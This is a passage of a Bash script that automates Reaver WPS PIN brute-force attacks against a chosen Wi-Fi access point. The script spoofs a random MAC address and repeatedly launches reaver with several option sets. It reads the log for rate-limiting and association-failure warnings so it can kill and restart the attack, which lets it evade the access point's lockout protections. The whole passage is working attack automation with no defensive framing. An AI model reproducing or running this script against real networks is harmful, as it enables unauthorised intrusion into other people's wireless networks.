if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R14 == y || $USE_R14 == Y ]] && [[ $USE_LONG14 == y || $USE_LONG14 == Y ]] && [[ $USE_PIN14 == n || $USE_PIN14 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME14"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL14"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP14"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX14" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY14"
echo -e "$info Reaver live time                   = $yel$LIVE14 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME14-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL14 -b $TARGETAP14 -r $RX14:$RY14 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME14-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE14-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R14 == n || $USE_R14 == N ]] && [[ $USE_LONG14 == n || $USE_LONG14 == N ]] && [[ $USE_PIN14 == y || $USE_PIN14 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME14"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL14"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP14"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE14 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME14-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL14 -b $TARGETAP14 -vv -x 60  --pin=$WPS_PIN14 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME14-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE14-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R14 == y || $USE_R14 == Y ]] && [[ $USE_LONG14 == n || $USE_LONG14 == N ]] && [[ $USE_PIN14 == y || $USE_PIN14 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME14"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL14"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP14"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX14" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY14"
echo -e "$info Reaver live time                   = $yel$LIVE14 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME14-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL14 -b $TARGETAP14 -vv -x 60 -r $RX14:$RY14 --pin=$WPS_PIN14 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME14-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE14-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R14 == n || $USE_R14 == N ]] && [[ $USE_LONG14 == y || $USE_LONG14 == Y ]] && [[ $USE_PIN14 == y || $USE_PIN14 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME14"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL14"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP14"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE14 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME14-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL14 -b $TARGETAP14 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN14 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME14-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE14-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R14 == y || $USE_R14 == Y ]] && [[ $USE_LONG14 == y || $USE_LONG14 == Y ]] && [[ $USE_PIN14 == y || $USE_PIN14 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME14"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL14"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP14"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX14" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY14"
echo -e "$info Reaver live time                   = $yel$LIVE14 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME14-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL14 -b $TARGETAP14 -r $RX14:$RY14 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN14 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME14-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE14-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

